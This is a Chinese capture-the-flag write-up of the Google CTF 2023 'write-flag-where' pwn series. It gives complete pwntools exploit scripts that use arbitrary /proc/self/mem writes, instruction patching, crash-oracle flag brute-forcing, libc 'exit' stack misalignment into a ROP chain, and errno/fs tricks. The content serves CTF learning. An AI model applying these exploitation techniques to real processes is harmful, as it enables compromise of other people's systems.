GoogleCTF2023复现

WRITE-FLAG-WHERE

题目描述

This challenge is not a classical pwn In order to solve it will take skills of your own An excellent primitive you get for free Choose an address and I will write what I see But the author is cursed or perhaps it’s just out of spite For the flag that you seek is the thing you will write ASLR isn’t the challenge so I’ll tell you what I’ll give you my mappings so that you’ll have a shot.

解题过程

该程序提供了一个可以任意地址写入flag的功能,于是我们思考如何才能把flag写入到一个能输出的位置即可,当我们直接通过写/proc/self/mem文件修改内存时,不受内存页保护的限制,可以向任意地址写值。故我们向.rodata段的字符串写flag就可以用dprintf将其打印出来。

exp

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('wfw1.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'have a shot.\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
success('image_addr: ' + hex(image_addr))
sh.sendlineafter("Send me nothing and I will happily expire\n",('0x%lx %u' % (image_addr+0x21e0, 80)).encode())
sh.interactive()

Tips

这里有个很有趣的点,导致该程序无法在本地无法调试

1
2
3
4
5
6
v9 = dup2(1, 1337);
v8 = open("/dev/null", 2);
dup2(v8, 0);
dup2(v8, 1);
dup2(v8, 2);
close(v8);

这段C语言代码的作用是将标准输入、标准输出和标准错误输出重定向到 /dev/null 设备文件,实现丢弃所有的输入和输出。

将文件描述符 1(标准输出)复制到文件描述符 1337,并将文件描述符 1337 赋值给变量 v9。这一步是为了备份标准输出的文件描述符。但是本地运行还是会报错,因为本地的文件描述符(-n)的上限为1024所以这里无法有显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-t: cpu time (seconds)              unlimited
-f: file size (blocks) unlimited
-d: data seg size (kbytes) unlimited
-s: stack size (kbytes) 8192
-c: core file size (blocks) 0
-m: resident set size (kbytes) unlimited
-u: processes 31384
-n: file descriptors 1024
-l: locked-in-memory size (kbytes) 1013892
-v: address space (kbytes) unlimited
-x: file locks unlimited
-i: pending signals 31384
-q: bytes in POSIX msg queues 819200
-e: max nice 0
-r: max rt priority 0
-N 15: rt cpu time (microseconds) unlimited

用下面的命令调高上限即可有显示,但是由于关闭了输入流还是没有交互。

1
ulimit -n 10240

其实这里的1337保存的是一个设备,/dev/pts/0 是 Linux 操作系统中伪终端(pseudo terminal)的设备文件之一。它是伪终端的一个实例,用于实现终端仿真和终端会话。

1
2
3
4
► 0x55555555532f <main+326>    call   dprintf@plt                <dprintf@plt>
fd: 0x539 (/dev/pts/0)
fmt: 0x555555556050 ◂— 0x6168632073696854 ('This cha')
vararg: 0x555555556050 ◂— 0x6168632073696854 ('This cha')
1
2
3
4
5
► 0x5555555553be <main+469>    call   read@plt                <read@plt>
fd: 0x539 (/dev/pts/0)
buf: 0x7fffffffda10 ◂— 0x0
nbytes: 0x40

可以看出这里都是用的该设备,远程的话就不是这个设备了

1
2
3
4
5
► 0x56146035f368 <main+383>    call   dprintf@plt                <dprintf@plt>
fd: 0x539 (socket:[303442])
fmt: 0x5614603601e0 ◂— 'flag{sasasasa}\n'
vararg: 0x5614603601e0 ◂— 'flag{sasasasa}\n'

远程是用的socket这个设备,于是就可以实现交互了

WRITE-FLAG-WHERE2

题目描述

Was that too easy? Let’s make it tough
It’s the challenge from before, but I’ve removed all the fluff

解题过程

在第一题基础上把dprintf输出字符串去掉了,但是有一处后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:000000000000143A
.text:000000000000143A loc_143A: ; CODE XREF: main+1EF↑j
.text:000000000000143A 90 nop
.text:000000000000143B
.text:000000000000143B loc_143B: ; CODE XREF: main+24F↑j
.text:000000000000143B BF 00 00 00 00 mov edi, 0 ; status
.text:0000000000001440 E8 8B FC FF FF call _exit
.text:0000000000001445 ; ---------------------------------------------------------------------------
.text:0000000000001445 8B 45 F4 mov eax, [rbp+var_C]
.text:0000000000001448 48 8D 15 86 0C 00 00 lea rdx, aSomehowYouGotH ; "Somehow you got here??\n"
.text:000000000000144F 48 89 D6 mov rsi, rdx ; fmt
.text:0000000000001452 89 C7 mov edi, eax ; fd
.text:0000000000001454 B8 00 00 00 00 mov eax, 0
.text:0000000000001459 E8 32 FC FF FF call _dprintf
.text:000000000000145E E8 CD FB FF FF call _abort

于是我们可以通过flag的开头CTF去覆盖掉call exit,去执行后门的dprintf函数,

CTF转16进制后是“\x43\x54\x46”

于是我们可以构造下面这种类型的汇编去跳过call exit

1
2
3
4
5
6
7
8
9
10
11
12
>>> disasm("\x54")
' 0: 54 push rsp'
>>> disasm("\xbf\x00\x00\x00\x43")
' 0: bf 00 00 00 43 mov edi, 0x43000000'
>>> disasm("\x54\x54\x54\x54\x46")
'
0: 54 push esp\n
1: 54 push esp\n
2: 54 push esp\n
3: 54 push esp\n
4: 46 inc esi
'

再通过第一个题的方式输出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = "DEBUG"

r = remote("localhost", 1337)
flaglen = 13

s = r.recvuntil(b"\n\n").decode().splitlines()[2:]
base = None
for line in s:
if "chal" in line and base is None:
base = int(line.split("-")[0], 16)
if "stack" in line:
stack = int(line.split("-")[1].split()[0], 16)

print(hex(base), hex(stack))

def nop2(addr):
r.sendline(b"0x%x 2" % (addr+base))
sleep(0.1)
for i in range(5):
nop2(0x1443-i)
r.sendline(b"0x%x 127" % (0x20D5+base))
sleep(0.1)
r.sendline()
r.interactive()

Tips

除了上面那个修改call exit的方法还有一种爆破的方法

通过往“0x%llx %u”这串字符串的“0”写入flag的其中一个字符,再通过第二次输入的起始来看程序是否崩溃逐位爆破

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
def leak(offset, chr):
#sh = remote('wfw2.2023.ctfcompetition.com', 1337)
sh = remote('127.0.0.1', 1338)
sh.recvuntil(b'fluff\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
sh.recvuntil(b'\n\n\n')
sh.send(('0x%lx %u\n' % (image_addr+0x20BC-offset, offset+1)).encode().ljust(0x40, b'0'))
sh.send(('%cx%lx %u\n' % (chr, image_addr, 0)).encode().ljust(0x40, b'0'))
try:
sh.recvn(1, timeout=1)
sh.close()
return True
except EOFError:
sh.close()
return False

table = '_{}?' + string.digits + string.ascii_lowercase + string.ascii_uppercase
flag = ''
while(True):
find = False
for chr in table:
if leak(len(flag), chr):
find = True
flag += chr
print(flag)
break
if not find:
print(flag)
break
#CTF{sasasasa}

WRITE-FLAG-WHERE3

题目描述

Your skills are considerable, I’m sure you’ll agree But this final level’s toughness fills me with glee No writes to my binary, this I require For otherwise I will surely expire

解题过程一

官方给的方法是下面这个

We can create a jump instruction using ‘}’ - it’s a two-byte instruction “jnp ”. We can make the second byte an unknown flag byte and prepare first an array of invalid instructions, and a nopsled afterwards. By modifying length of these two parts and checking whether we crash or not, we can brute force the flag character by character.

大概意思就是说通过flag最后的“}”转义为”\x7D”,\x7D可以转义为一个二字节的跳转指令jge,然后通过爆破法逐位爆破。

1
2
3
4
>>> disasm("\x7d\x7d")
' 0: 7d 7d jge 0x7f'
>>> disasm("\x7d\x67")
' 0: 7d 67 jge 0x69'

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
# For a different libc change exit_base, first_ret and far_ret

#ip = 'wfw3.2023.ctfcompetition.com'
ip = 'localhost'
port = 1338
def remote_write(r,address,length):
#print("Writing",hex(address) + " " + str(length))
payload = hex(address) + " " + str(length)
payload += ' ' * (64 - len(payload))
assert len(payload) == 64
r.send(payload)

r = remote(ip,port)
sleep(1)
output = r.recv()
end_data = output[output.rfind(b"["):]
binary_base = int(output.split(b"\n")[5].split(b'-')[0],16)
libc_base = int(output.split(b"\n")[12].split(b'-')[0],16)

def libc_write(r,offset,length):
remote_write(r,libc_base + offset,length)

print("Binary base",hex(binary_base))
print("libc base",hex(libc_base))

exit_base = 0x455f0
#exit_base = 0x000000000003e590
first_ret = 0x45680
#first_ret = 0x3e5f2

# Figure out flag length
flag_char_map = {}
flag_char_map['C'] = 0
flag_char_map['T'] = 1
flag_char_map['F'] = 2
flag_char_map['{'] = 3
def write_character(r,c,address):
if isinstance(c,int):
remote_write(r,address -c,c + 1)
else:
remote_write(r,address - flag_char_map[c],flag_char_map[c] + 1)
def try_flag_length(r,length):
print("Trying length",length)
flag_char_map['}'] = length - 1
flag_char_map['\0'] = length
for i in range(first_ret - 1 , exit_base - 1, -2):
write_character(r,'\0',libc_base + i)
try:
r.send("finish")
return r.recv()
except EOFError:
return "fail"
for i in range(46,0,-1):
output = try_flag_length(r,i)
r.close()
r = remote(ip,port)
new_map = r.recvuntil(end_data)
libc_base = int(new_map.split(b"\n")[12].split(b'-')[0],16)
print("OUTPUT = ",output)
if output != "fail":
break
else:
print("Could not get length")
exit(1)
print("Length is",flag_char_map['\0'])
#exit(0)
def fill_nops(r,address_start,address_end):
for i in range(address_end - 1,address_start - 1,-2):
write_character(r,'\0',i)
def write_bytes(r,address,array):
#print("writing",array)
for i in range(len(array) - 1,-1,-1):
write_character(r,array[i],address + i)

def write_jump_snippet(r,address,c,jumpsize_test):
array = ['}',c] # jnp <c-byte>
array += ['T'] * jumpsize_test
write_bytes(r,address,array)

#Returns true if we didn't crash
def crash_test():
try:
r.send("finish")
r.recv()
r.close()
return True
except EOFError:
return False

#print("filling nops")
#print("writing jump snippet")
far_ret = 0x4586b
for i in range(0,flag_char_map['\0']):
min = 0x20
max = 0x7f
while min != max:
if max - min > 1:
middle = min + ((max - min) >> 1)
else:
middle = max
#print(min,middle,max)
try:
fill_nops(r,libc_base + exit_base,libc_base + far_ret)
write_jump_snippet(r,libc_base + exit_base,i,middle)
except:
print("ignoring exception")
r = remote(ip,port)
#sleep(.1)
#r.recv()
new_map = r.recvuntil(end_data)
libc_base = int(new_map.split(b"\n")[12].split(b'-')[0],16)
continue
#input("Wait")
if crash_test():
min = middle
else:
max = middle - 1
r = remote(ip,port)
new_map = r.recvuntil(end_data)
libc_base = int(new_map.split(b"\n")[12].split(b'-')[0],16)
print(chr(min))

前置知识:x64指令前缀

指令前缀占据1个字节,置于指令的操作确前,修改操作数或据作数集。指令前缀分3种类型:

  1. 遗留前缀(Legacy Prefixes):遗留前缀分为五组,每一个前缀都有一个唯一值。
  • 操作数大小和地址大小前缀

  • 段重写前缀

  • Lock前缀:引起某些读-修改-写指令以原子的方式执行

  • 重复前缀:

    • REP (F3h)
    • REPE 或REPZ (F3h)
    • REPNE 或REPNZ (F2h)(仅用于CMPSx 和SCASx指令:)
  1. 寄存器扩展前缀(REX前缀,REX Prefixes):REX前缀能在64位模式下扩展AMD64寄存器的用法,REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。

  2. 扩展前缀(Extended Prefixes):扩展前缀提供了一种转义机制,可为具有新功能的指令打开全新的指令编码空间。目前,有两种扩展前缀VEX和XOP,VEX前缀用于编码AVX指令,XOP用于编码XOP指令。

解题过程二

在第二题的基础上又限制了不能写elf的区域,只能写堆或者libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while ( 1 )
{
memset(buf, 0, 64);
v8 = read(v10, buf, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &addr, &n) != 2
|| n > 0x7F
|| addr >= (unsigned __int64)main - 0x5000 && (unsigned __int64)main + 0x5000 >= addr )
{
break;
}
v7 = open("/proc/self/mem", 2);
lseek64(v7, addr, 0);
write(v7, &flag, n);
close(v7);
}
exit(0);

由前置知识可知,\x43('C')是一个REX前缀,所以当我们用\x43覆盖某些指令时可以转义或被忽略(相当于nop)。

并且由于main函数栈顶是我们输入的数据,于是我们可以通过改变exit函数里面的push个数,使其比pop少一个,就可以将执行流重定位到我们的输入去,然后再ROP即可。

1
2
3
4
-0000000000000070 buf             dq ?
-0000000000000068 var_68 dq ?
-0000000000000060 var_60 dq ?
-0000000000000058 var_58 dq ?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

local = 0
pc = './chal'
aslr = True
context.log_level = "debug"

libc = ELF('./libc.so.6')
elf = ELF(pc)

if local == 1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
else:
remote_addr = ['127.0.0.1', 1337]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
log.critical("{} -> {}".format(s, hex(addr)))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def edit(addr, size):
sl('{} {}'.format(hex(addr), size))
sleep(0.5)

if __name__ == "__main__":
ru('expire\n')
elf_base = int(rv(12), 16)
elf.address = elf_base
for i in range(5):
rl()
heap_base = int(rv(12), 16)
for i in range(2):
rl()
libc_base = int(rv(12), 16)
libc.address = libc_base
lg('elf', elf_base)
lg('heap', heap_base)
lg('libc', libc_base)

ru('\n\n\n')
target = [(0x45607, 1),
(0x4560B, 1),
(0x4560B+4, 1),
(0x45610, 1),
(0x45611, 1),
(0x45612, 1),
(0x45613, 1),
(0x45616, 1),
(0x45618, 1),
(0x45619, 1),
(0x4561a, 1)]
for x in target:
edit(libc_base + x[0], x[1])
#print('{} {}'.format(hex(0x7ffff7d89000 + x[0]), x[1]))

prdi = libc_base + 0x000000000002a3e5
prsi = libc_base + 0x000000000002be51
prdx_r12 = libc_base + 0x000000000011f497
write = elf_base + 0x1050 #elf.plt['write']
flag = elf_base + 0x50A0

rop = p64(prdi) + p64(1337)
rop += p64(prsi) + p64(flag)
rop += p64(prdx_r12) + p64(0x40)*2
rop += p64(write)
pause()
sl(rop)

p.interactive()

修改后的exit函数,可以看到push了两个,但是最后pop了三个,导致了执行流到了我们的输入中去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> disassemble 0x7fe254845607
Dump of assembler code for function exit:
0x00007fe2548455f0 <+0>: endbr64
0x00007fe2548455f4 <+4>: push rax
0x00007fe2548455f5 <+5>: pop rax
0x00007fe2548455f6 <+6>: mov ecx,0x1
0x00007fe2548455fb <+11>: mov edx,0x1
0x00007fe254845600 <+16>: lea rsi,[rip+0x1d4231] # 0x7fe254a19838
0x00007fe254845607 <+23>: rex.XB sub r12d,0x8
0x00007fe25484560b <+27>: rex.XB cmp r13b,0xff
0x00007fe25484560f <+31>: rex.XB
End of assembler dump.
pwndbg> disassemble 0x7fe254845619
Dump of assembler code for function on_exit:
0x00007fe254845610 <+0>: rex.XB
0x00007fe254845611 <+1>: rex.XB
0x00007fe254845612 <+2>: rex.XB
0x00007fe254845613 <+3>: rex.XB
0x00007fe254845614 <+4>: push r12
0x00007fe254845616 <+6>: rex.XB push r11
0x00007fe254845618 <+8>: rex.XB
0x00007fe254845619 <+9>: rex.XB
0x00007fe25484561a <+10>: rex.XB je 0x7fe2548456aa <on_exit+154>

上面的是反汇编出来的,下面的是真实执行的过程的代码

1
2
3
4
5
6
7
8
9
10
11
12
  0x7fe2548455f0 <exit>         endbr64 
0x7fe2548455f4 <exit+4> push rax
0x7fe2548455f5 <exit+5> pop rax
0x7fe2548455f6 <exit+6> mov ecx, 1
0x7fe2548455fb <exit+11> mov edx, 1
► 0x7fe254845600 <exit+16> lea rsi, [rip + 0x1d4231]
0x7fe254845607 <exit+23> sub r12d, 8
0x7fe25484560b <exit+27> cmp r13b, 0xff
0x7fe25484560f <exit+31> push r12
0x7fe254845616 <on_exit+6> push r11
0x7fe254845618 <on_exit+8> je on_exit+154 <on_exit+154>

这是返回处

1
2
3
4
5
► 0x7fe254845679 <on_exit+105>    mov    eax, r12d
0x7fe25484567c <on_exit+108> pop rbx
0x7fe25484567d <on_exit+109> pop rbp
0x7fe25484567e <on_exit+110> pop r12
0x7fe254845680 <on_exit+112> ret

前置知识:errno的设置

在系统调用执行过程中,如果出现错误,操作系统会设置全局变量 errno 来指示错误的类型。errno 是一个在 C 语言中定义的宏,它表示上一个函数调用发生的错误码。

当系统调用返回一个出错条件时,内核将特定的错误码设置到 errno 中。这个过程通常在底层系统库中完成,该库与操作系统内核进行交互。

具体的实现细节可能因操作系统和编程环境而异,但通常涉及以下步骤:

  1. 系统调用执行时,内核会检查操作的合法性和可能发生的错误情况。
  2. 如果发现错误,内核会将相应的错误码存储在当前线程的内核数据结构中(如线程控制块或线程信息块)。
  3. 在系统调用返回时,系统库会将错误码从内核数据结构复制到用户空间中的 errno 全局变量。
  4. 用户程序可以通过检查 errno 的值来确定之前的系统调用是否成功执行。如果 errno 的值不为零,表示发生了错误,可以根据 errno 的值来进一步识别和处理具体的错误类型。

解题过程三

学习了一下EX师傅的解法,学习到了很多知识。

主要思路就是通过修改write函数的第一个参数,控制输出的位置,但是控制输出的位置需要我们的fs:18(这通常是指向当前线程的线程信息块(Thread Information Block,TIB)的指针。)不为0才能跳转到后面可以修改fd的代码区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000114A20 ; __unwind {
.text:0000000000114A20 endbr64 ; Alternative name is '__write'
.text:0000000000114A24 mov eax, fs:18h
.text:0000000000114A2C test eax, eax
.text:0000000000114A2E jnz short loc_114A40
.text:0000000000114A30 mov eax, 1
.text:0000000000114A35 syscall ; LINUX - sys_write
.text:0000000000114A37 cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000114A3D ja short loc_114A90
.text:0000000000114A3F retn
.text:0000000000114A40 ; -----------------------------------------------------------------------
.text:0000000000114A40
.text:0000000000114A40 loc_114A40: ; CODE XREF: write+E↑j
.text:0000000000114A40 sub rsp, 28h
.text:0000000000114A44 mov [rsp+28h+count], rdx
.text:0000000000114A49 mov [rsp+28h+buf], rsi
.text:0000000000114A4E mov dword ptr [rsp+28h+fd], edi
.text:0000000000114A52 call sub_90A70
.text:0000000000114A57 mov rdx, [rsp+28h+count] ; count
.text:0000000000114A5C mov rsi, [rsp+28h+buf] ; buf
.text:0000000000114A61 mov r8d, eax
.text:0000000000114A64 mov edi, dword ptr [rsp+28h+fd] ; fd
.text:0000000000114A68 mov eax, 1
.text:0000000000114A6D syscall ; LINUX - sys_write
.text:0000000000114A6F cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000114A75 ja short loc_114AA8

但是我们咋样才能控制fs:18不为0呢,我们无法直接控制fs:18,于是我们通过修改为fs:43去修改43位置的值即可,如何设置呢?通过errno的机制去设置,系统调用在出错设置errno时会根据errno在got里的值将出错码写入fabase+*errno_got的位置,于是我们修改errno在got表中的值为0x43就能修改fs:43的值。

然后就是去修改fd了

可以从上面的代码看出,我们需要去修改

.text:0000000000114A64 mov edi, dword ptr [rsp+28h+fd] ; fd

去达到控制fd的目的。最后通过输入去控制对应位置的值为1337即可。

达到 write(1337, &flag, n[0]);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
#sh = remote('wfw3.2023.ctfcompetition.com', 1337)
sh = remote('127.0.0.1', 1337)
result = sh.recvuntil(b'.so').split(b'\n')[-1]
libc_addr = int(result[:12], 16)
success('libc_addr: ' + hex(libc_addr))
sh.recvuntil(b'\n\n\n')
pause()
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10-0x70, 0x78)).encode().ljust(0x40, b'0'))
#修改errno的got的值为0
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10, 1)).encode().ljust(0x40, b'0'))
#修改errno的got的值为0x43
sh.send(('0x%lx %u\n' % (libc_addr + 0x115110+1, 1)).encode().ljust(0x40, b'0'))
#修改close的系统调用为0x43,达到报错的目的去修改fs:*got_errno的目的
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A28, 1)).encode().ljust(0x40, b'0'))
#修改write函数从fs取得偏移
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A67, 1)).encode().ljust(0x40, b'0'))
#修改write fd存放偏
print(hex(0x227E60+libc_addr))
pause()
sh.send(('0x%lx %u\n' % (0, 0x70)).encode().ljust(0x13, b'0') + p32(1337))
sh.interactive()